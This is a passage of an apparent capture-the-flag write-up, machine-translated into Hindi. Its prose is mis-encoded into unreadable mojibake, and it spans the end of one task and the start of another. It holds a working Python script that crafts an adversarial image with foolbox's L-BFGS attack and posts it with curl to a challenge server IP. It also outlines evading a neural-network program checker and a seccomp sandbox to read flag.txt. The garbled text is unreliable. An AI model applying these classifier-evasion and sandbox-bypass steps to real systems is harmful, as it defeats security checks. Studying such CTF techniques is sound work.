рдиреЗрдЯрд╡рд░реНрдХ рдмрд╣реБрдд рдЖрд╢реНрд╡рд╕реНрдд рдерд╛ред

рдЕрдВрдд рдореЗрдВ, рдореБрдЭреЗ рдЙрд╕ рд╕рдВрдХреЗрдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдпрд╛рдж рд░рдЦрдирд╛ рдерд╛ рдЬреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдореВрд▓ рдкрд╛рда рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдерд╛ - "(рдиреЙрд░реНрдорд▓рд╛рдЗрдЬрд╝ ^ ^ _ ^")ред рд╕рд╛рд╡рдзрд╛рди рд╕рд╛рдорд╛рдиреНрдпреАрдХрд░рдг рдХреЗ рдмрд╛рдж, рдПрд▓-рдмреАрдПрдлрдЬреАрдПрд╕ рдЕрдиреБрдХреВрд▓рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд▓реЗ рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛, рдиреАрдЪреЗ рдЕрдВрддрд┐рдо рд╢реЛрд╖рдг рд╣реИ:

 import foolbox import keras import numpy as np import os from foolbox.attacks import LBFGSAttack from foolbox.criteria import TargetClassProbability from keras.models import load_model from PIL import Image image = Image.open('./ZeroSource.bmp') image = np.asarray(image, dtype=np.float32) / 255 image = np.resize(image, (28, 28, 1)) kmodel = load_model('KerasModel.h5') fmodel = foolbox.models.KerasModel(kmodel, bounds=(0, 1)) adversarial = image[:, :] try: attack = LBFGSAttack(model=fmodel, criterion=TargetClassProbability(1, p=.5)) adversarial = attack(image[:, :], label=0) except: print 'FAIL' quit() print kmodel.predict_proba(adversarial.reshape(1, 28, 28, 1)) adversarial = np.array(adversarial * 255, dtype='uint8') im = Image.open('ZeroSource.bmp') for x in xrange(28): for y in xrange(28): im.putpixel((y, x), int(adversarial[x][y][0])) im.save('ZeroSourcead1.bmp') os.system("curl -X POST -F image=@ZeroSourcead1.bmp 'http://51.15.100.188:36491/predict'") 

рдЦреЛрдЬреА рдкрдВрдХреНрддрд┐: H3y_Y0u'v_g01_4_n1c3_t1cket



Day6ред рдмрд╣реБрдд рдмрдврд╝рд┐рдпрд╛ рд╡реА.рдПрдо.


рдпрд╣ рдХрд╛рд░реНрдп рд╕реНрдХреВрд▓ рд╕реАрдЯреАрдПрдл рдЯреАрдо рджреНрд╡рд╛рд░рд╛ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдПрдХ рдирдИ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╕реЗрд╡рд╛ рджреЗрдЦреЗрдВ! zn.sibears.ru:8000

рдЕрднреА рд╣рдо рдЖрдкрдХреЛ рдмреАрдЯрд╛-рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдореЗрдВ рдПрдХ рдирдИ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╣рдорд╛рд░реЗ newbies рдХреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдХреМрд╢рд▓ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рд╣реИред рд╣рдордиреЗ рдзреЛрдЦрд╛рдзрдбрд╝реА рдХреЗ рдЦрд┐рд▓рд╛рдл рдмреМрджреНрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЬреЛрдбрд╝рд╛ рд╣реИ рдФрд░ рдЕрдм рдкреНрд▓реИрдЯрдлреЛрдЯрдо рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдм рдХреБрдЫ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред VM рдЖрдкрдХреЛ рд╕рд░рд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ ... рдпрд╛ рдХреЗрд╡рд▓?

goo.gl/iKRTrH

рд╕рдВрдХреЗрдд
10/27/2018 16:20
рд╢рд╛рдпрдж рдЖрдк AI рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдореВрд░реНрдЦ рдпрд╛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?

рд╡рд┐рд╡рд░рдг:




рд╕реЗрд╡рд╛ sibVM рджреБрднрд╛рд╖рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдП рдЧрдП .cmpld рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рддреНрдпрд╛рдкрди рдкреНрд░рдгрд╛рд▓реА рд╣реИред рднреЗрдЬреЗ рдЧрдП рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рд╣рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдХрд╛рд░реНрдп: input.txt рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЗ рдпреЛрдЧ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ, рдХреБрдЫ рд╣рдж рддрдХ рдПрдХ рдПрд╕реАрдПрдо рдкреНрд░рддрд┐рдпреЛрдЧрд┐рддрд╛ рдХреА рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╡реЗрдм рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдХрд╛ рд╡рд░реНрдгрди рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рднреЗрдЬреЗ рдЧрдП рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЛ рдХреГрддреНрд░рд┐рдо рдмреБрджреНрдзрд┐рдорддреНрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛рдПрдЧрд╛ред

рд╕реЗрд╡рд╛ рдореЗрдВ рджреЛ рдбреЙрдХрдЯрд░ рдХрдВрдЯреЗрдирд░ рд╣реЛрддреЗ рд╣реИрдВ: рд╡реЗрдм-рдбреЛрдХрд░ рдФрд░ prod_inter ред

рд╡реЗрдм-рдбреЙрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рд╣реИред рд╡рд╣ рдЬреЛ рдХреБрдЫ рднреА рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рднреЗрдЬреЗ рдЧрдП рдлрд╝рд╛рдЗрд▓ рдХреЛ prod_inter рдХрдВрдЯреЗрдирд░ рдореЗрдВ рдЕрдиреБрд╡рд╛рдж рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдЕрдВрджрд░ рд╕рднреА рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕реА рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдХреЛ рдиреАрдЪреЗ рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:


Prod_inter рдХрдВрдЯреЗрдирд░ рдореЗрдВ, рднреЗрдЬреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдБрдЪ рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдбреЗрдЯрд╛ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рдирдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ / tmp / рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдкрд░ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЬрд╣рд╛рдБ рднреЗрдЬреЗ рдЧрдП рдлрд╝рд╛рдЗрд▓ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдирд╛рдо рдХреЗ рддрд╣рдд рд╕рд╣реЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд╝реНрд▓реИрдЧ.рдЯреИрдХреНрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рднреА рдмрдирд╛рдИ рдЧрдИ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд╢рд╛рдпрдж рд╣рдорд╛рд░рд╛ рд▓рдХреНрд╖реНрдп рд╣реИред

рдлрд┐рд░ рдордЬрд╝реЗрджрд╛рд░ рд╣рд┐рд╕реНрд╕рд╛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ: рдпрджрд┐ рдлрд╝рд╛рдЗрд▓ 8192 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдмрдбрд╝реА рд╣реИ, рддреЛ рдХреГрддреНрд░рд┐рдо рдмреБрджреНрдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдЗрдирдкреБрдЯ рдлрд╝рд╛рдЗрд▓ рдХреА рдЬрд╛рдБрдЪ рдХреА рдЬрд╛рддреА рд╣реИред рдПрдЖрдИ рдПрдХ рдкреВрд░реНрд╡-рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдЕрд▓реНрдЯреНрд░рд╛рд╕реНрдкрд╛рдЗрд╕ рдиреНрдпреВрд░рд▓ рдиреЗрдЯрд╡рд░реНрдХ рд╣реИред рдпрджрд┐ рдкрд░реАрдХреНрд╖рдг рд╕рдлрд▓ рдерд╛ (рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ 8192 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рдФрд░ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдиреЗ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рдердо рд╢реНрд░реЗрдгреА рдореЗрдВ рд╕реМрдВрдкрд╛ рд╣реИ), рдХрд╛рд░реНрдпрдХреНрд░рдо рдкрд╛рдВрдЪ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдкрд░ рдЪрд▓рддрд╛ рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдВрджреЗрд╢ рдореЗрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИред

рдпрджрд┐ рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдХрд╛ рдЖрдХрд╛рд░ 8192 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдХрдо рд╣реИ, рдпрд╛ рдЙрдиреНрд╣реЛрдВрдиреЗ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдкрд░реАрдХреНрд╖рдг рдкрд╛рд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлреНрд▓реИрдЧ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреА рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдВрдЪ рд╣реЛрддреА рд╣реИред рдЗрд╕рдореЗрдВ рд╕рдмреНрд╕реНрдЯрд┐рдЯреНрдпреВрдЯ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдФрд░ рдЙрд╕ рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд▓рд┐рдПред рдлрд╝реНрд▓реИрдЧ.рдЯреИрдХреНрд╕ рдлрд╝рд╛рдЗрд▓ рдХреА рдкрд╣реБрдВрдЪ рдХреЛ secfilter рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдЪрд▓рд╛рдХрд░ рдореЙрдирд┐рдЯрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ SECCOMP рддрдХрдиреАрдХреЛрдВ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рд▓реЙрдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рджреА рдЧрдИ рд╕реЗрд╡рд╛ рдХреЛрдб рдФрд░ рд▓реЙрдЧ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬрдм рдирд┐рд╖рд┐рджреНрдз рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ:





рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ sibVM рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХрд╛ рдПрдХ рд╕рдореВрд╣ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛, рдЬреЛ flag.txt рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рддрд╛ рд╣реИ рдФрд░ рдлрд╝рд╛рдЗрд▓ рдХреЗ ith рдмрд╛рдЗрдЯ рдХрд╛ рд╕рдВрдЦреНрдпрд╛рддреНрдордХ рдорд╛рди рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдПрдЖрдИ рдкрд░реАрдХреНрд╖рдг рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд▓рд╛, рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдПрдХ рд╕рддрд╣ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рдЖрднрд╛рд╕реА рдорд╢реАрди рдХрд╛ рд╡рд┐рд╡рд░рдг рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг


рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдореЙрдбрд▓ cnn_model.h5 рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред рдиреЗрдЯрд╡рд░реНрдХ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдореНрди рд╣реИред



рд╣рдореЗрдВ рдкрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдХреНрдпрд╛ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЗрд╕реЗ рд╡рд┐рднрд┐рдиреНрди рдбреЗрдЯрд╛ рдЦрд┐рд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВрдЧреЗред рдиреЗрдЯрд╡рд░реНрдХ рдХреА рд╡рд╛рд╕реНрддреБрдХрд▓рд╛ рд╕реЗ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдЗрдирдкреБрдЯ рдкрд░ рдЗрд╕реЗ 100X100 рдЖрдХрд╛рд░ рдХреА рдПрдХрд▓-рдЪреИрдирд▓ рдЫрд╡рд┐ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддреА рд╣реИред рдкрд░рд┐рдгрд╛рдо рдкрд░ рд╕реНрдХреЗрд▓рд┐рдВрдЧ рдХреЗ рдкреНрд░рднрд╛рд╡ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рд╕реЗрд╡рд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЫрд╡рд┐ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд 10,000 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рджреГрд╢реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдиреАрдЪреЗ рд╡рд┐рднрд┐рдиреНрди рдбреЗрдЯрд╛ рдкрд░ рдПрдХ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдкрд░рд┐рдгрд╛рдо рд╣реИрдВ:



рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рдпрд╣ рдорд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рддрдВрддреНрд░рд┐рдХрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рдХрд╛рд▓реЗ рд░рдВрдЧреЛрдВ (рд╢реВрдиреНрдп рдмрд╛рдЗрдЯреНрд╕) рдХреА рдкреНрд░рдмрд▓рддрд╛ рдХреЗ рд╕рд╛рде рдЪрд┐рддреНрд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдВрдЧреЗред рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдПрдХ рдРрд╕рд╛ рдХрд╛рд░реНрдпрдХреНрд░рдо рд▓рд┐рдЦрдирд╛ рдЬреЛ рдЭрдВрдбрд╛ рдкрд╛рддреНрд░реЛрдВ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ рдЙрд╕реЗ 1000 рд╕реЗ рдЕрдзрд┐рдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯреНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рдмрд╛рдХреА рдХреЛ рд╢реВрдиреНрдп рд╕реЗ рднрд░рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ), рдФрд░ рдлрд┐рд░ рдПрдЖрдИ рднреЗрдЬреЗ рдЧрдП рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдЧрд╛ред

рддрджрдиреБрд╕рд╛рд░, рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╡рд╛рдВрдЫрд┐рдд рдХрд╛рд░реНрдпрдХреНрд░рдо рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд░рд╣рддрд╛ рд╣реИред

SibVM рджреБрднрд╛рд╖рд┐рдпрд╛


рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреА рд╕рдВрд░рдЪрдирд╛
рдкрд╣рд▓рд╛ рдХрджрдо рдкреНрд░реЛрдЧреНрд░рд╛рдо рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреЛ рд╕рдордЭрдирд╛ рд╣реИред рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рд░рд┐рд╡рд░реНрд╕ рдХреЗ рджреМрд░рд╛рди, рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдХреБрдЫ рд╕реЗрд╡рд╛ рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмреАрдЪ рдЯрд╛рдЗрдк рдлрдВрдХреНрд╢рди рдХреА рдПрдХ рдореБрдЦреНрдп рдЗрдХрд╛рдИ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред

рдлрд╝рд╛рдЗрд▓ рд╣реИрдбрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ


рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рд░рд┐рдХреЙрд░реНрдб


рд░рд┐рдХреЙрд░реНрдб рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдФрд░ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рд▓реЙрдиреНрдЪ рдХрд░рдирд╛


рдкрд░рд┐рдгрд╛рдо рдирд┐рдореНрди рдЗрдирдкреБрдЯ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдк рд╣реИ:



рдбреЗрдЯрд╛ рдкреНрд░рдХрд╛рд░


рджреБрднрд╛рд╖рд┐рдпрд╛ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдиреАрдЪреЗ рдПрдХ рддрд╛рд▓рд┐рдХрд╛ рдФрд░ рдЙрдирдХреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред



рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдирд┐рд░реНрдорд╛рдг


рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдлрдВрдХреНрд╢рди (5) рдХреЗ рд╕рд╛рде рдПрдХ рдореБрдЦреНрдп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдХрд╛ рдирд┐рдореНрди рдкреНрд░рд╛рд░реВрдк рд╣реИ:



рдореБрдЦреНрдп рдХрд╛рд░реНрдпрдХреНрд░рдо рдирд┐рд╖реНрдкрд╛рджрди рдЪрдХреНрд░ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдирд╣реАрдВ рдерд╛ред

рдореБрдЦреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдЪрдХреНрд░


decode_opcode рдлрд╝рдВрдХреНрд╢рди рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛрдб рд╕реЗ рдЕрдЧрд▓реЗ рдСрдкрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рдСрдкрд░реЗрд╢рди рдХреЗ рдкрд╣рд▓реЗ рджреЛ рдмрд╛рдЗрдЯреНрд╕ рдореЗрдВ рдСрдкрд░реЗрд╢рди рдХреЛрдб, рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдФрд░ рдЙрдирдХреЗ рдкреНрд░рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВред рдЕрдЧрд▓реЗ рдХреБрдЫ рдмрд╛рдЗрдЯреНрд╕ (рдкреНрд░рдХрд╛рд░ рдФрд░ рддрд░реНрдХреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░) рдХреЛ рдСрдкрд░реЗрд╢рди рдХреЗ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдСрдкрд░реЗрд╢рди рдХреЗ рдкрд╣рд▓реЗ рджреЛ рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдкреНрд░рд╛рд░реВрдк:



рдЕрдЧрд▓рд╛, рд╣рдо рдХреБрдЫ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рд╣рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдзреНрд╡рдЬ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдВрдЧреЗред

рдХрдорд╛рдВрдб рджреБрднрд╛рд╖рд┐рдпрд╛ рдЧреНрд░рд╛рдл, execute_opcode рдлрд╝рдВрдХреНрд╢рди


  • рдУрдкрдХреЛрдб 0 - рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рддрд╛ рд╣реИ (рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдСрдкрд░реЗрд╢рди рддрд░реНрдХ рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЯрд╛рдЗрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рд╣реИ) рдФрд░ рд╕реНрдЯреИрдХ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреНрд░рдХрд╛рд░ ByteArray рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд░реВрдк рдореЗрдВ ByteArray ред
